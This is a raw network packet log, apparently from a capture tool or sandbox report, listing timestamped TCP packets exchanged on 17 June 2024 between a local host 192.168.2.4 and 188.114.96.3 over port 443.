Jun 17, 2024 16:19:05.263689041 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.263717890 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.263725996 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.263886929 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.263906002 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.263947010 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.263952017 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.263977051 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.263989925 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.264209032 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.264226913 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.264261007 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.264266014 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.264281034 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.264298916 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.264302969 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.264317989 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.264329910 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.264357090 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.264460087 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.264476061 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.264508963 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.264513969 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.264530897 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.264549017 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.264635086 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.264651060 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.264677048 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.264682055 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.264708996 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.264744043 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.264763117 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.264769077 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.264780998 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.264796972 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.264954090 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.264966011 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.264981031 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.264986038 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.265001059 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.265038013 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.265259981 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.265276909 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.265312910 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.265317917 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.265328884 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.265352011 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.265419960 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.265435934 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.265480995 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.265486002 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.265528917 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.265594006 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.265616894 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.265662909 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.265670061 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.265702009 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.265767097 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.265782118 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.265815973 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.265825033 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.265847921 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.265863895 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.265938997 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.265955925 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.265988111 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.265993118 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.266009092 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.266016006 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.266027927 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.266036987 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.266041040 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.266062975 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.266093969 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.266185045 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.266201019 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.266233921 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.266239882 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.266258001 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.266271114 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.266617060 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.266634941 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.266679049 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.266685009 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.266716957 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.266742945 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.266762018 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.266792059 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.266797066 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.266817093 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.266834021 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.266900063 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.266916990 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.266947031 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.266952038 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.266978025 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.266992092 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.267066002 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.267086029 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.267123938 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.267127991 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.267146111 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.267163038 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.267214060 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.267235994 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.267266989 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.267271042 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.267298937 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.267316103 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.293129921 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.293215990 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.293225050 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.293248892 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.293277979 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.293293953 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.293435097 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.293488026 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.293498993 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.293512106 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.293545961 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.293559074 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.293688059 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.293735981 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.293754101 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.293767929 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.293786049 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.293803930 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.293899059 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.293946028 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.293956995 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.293967962 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.293992996 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.294014931 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.294275045 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.294321060 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.294332981 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.294346094 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.294374943 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.294397116 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.294502020 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.294558048 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.294575930 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.294585943 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.294612885 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.294631004 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.294650078 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.294701099 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.294718027 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.294727087 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.294760942 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.294779062 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.294929981 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.294980049 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.294995070 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.295001984 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.295034885 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.295178890 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.295226097 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.295239925 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.295252085 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.295293093 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.295442104 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.295489073 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.295517921 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.295527935 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.295541048 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.295563936 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.295634985 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.295681000 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.295692921 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.295703888 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.295733929 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.295747995 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.295825958 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.295867920 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.295878887 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.295891047 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.295918941 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.295938969 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.296041965 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.296089888 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.296101093 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.296116114 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.296147108 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.296164989 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.296303988 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.296349049 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.296369076 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.296379089 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.296403885 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.296447039 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.296555042 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.296597958 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.296638966 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.296644926 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.296658039 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.296679974 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.296750069 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.296797037 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.296817064 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.296823978 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.296847105 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.296864033 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.296948910 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.296998024 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.297013998 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.297022104 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.297049046 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.297064066 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.297132015 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.297173023 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.297197104 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.297203064 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.297220945 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.297255993 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.297327995 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.297377110 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.297389984 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.297399998 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.297425985 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.297457933 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.312175035 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.312221050 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.312246084 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.312271118 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.312288046 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.312318087 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.374370098 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.374429941 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.374463081 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.374480963 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.374520063 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.374535084 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.375238895 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.375282049 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.375319004 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.375324011 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.375353098 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.375396967 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.375610113 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.375655890 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.375694036 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.375699043 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.375711918 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.375739098 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.375818014 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.375859976 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.375881910 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.375886917 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.375930071 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.375930071 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.376137972 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.376182079 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.376205921 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.376211882 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.376238108 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.376286030 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.376550913 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.376595974 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.376624107 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.376630068 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.376648903 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.376669884 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.376776934 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.376816034 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.376842022 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.376847982 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.376874924 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.376924038 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.376964092 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.377002954 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.377033949 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.377038956 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.377057076 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.377079964 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.377146959 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.377187967 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.377211094 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.377216101 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.377243996 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.377259970 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.377299070 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.377363920 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.377368927 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.377388000 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.377418041 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.377439976 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.377981901 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.378026962 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.378055096 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.378065109 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.378087044 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.378108025 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.378181934 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.378222942 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.378243923 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.378249884 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.378307104 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.378308058 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.378398895 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.378453970 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.378454924 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.378478050 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.378520012 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.378529072 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.378659964 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.378699064 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.378726959 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.378732920 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.378767967 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.378781080 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.378871918 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.378914118 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.378952980 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.378958941 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.378985882 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.378998041 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.379067898 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.379121065 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.379142046 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.379148960 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.379173994 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.379193068 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.379257917 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.379298925 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.379326105 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.379331112 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.379362106 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.379375935 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.379445076 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.379504919 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.379518032 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.379579067 CEST	65277	443	192.168.2.4	188.114.96.3
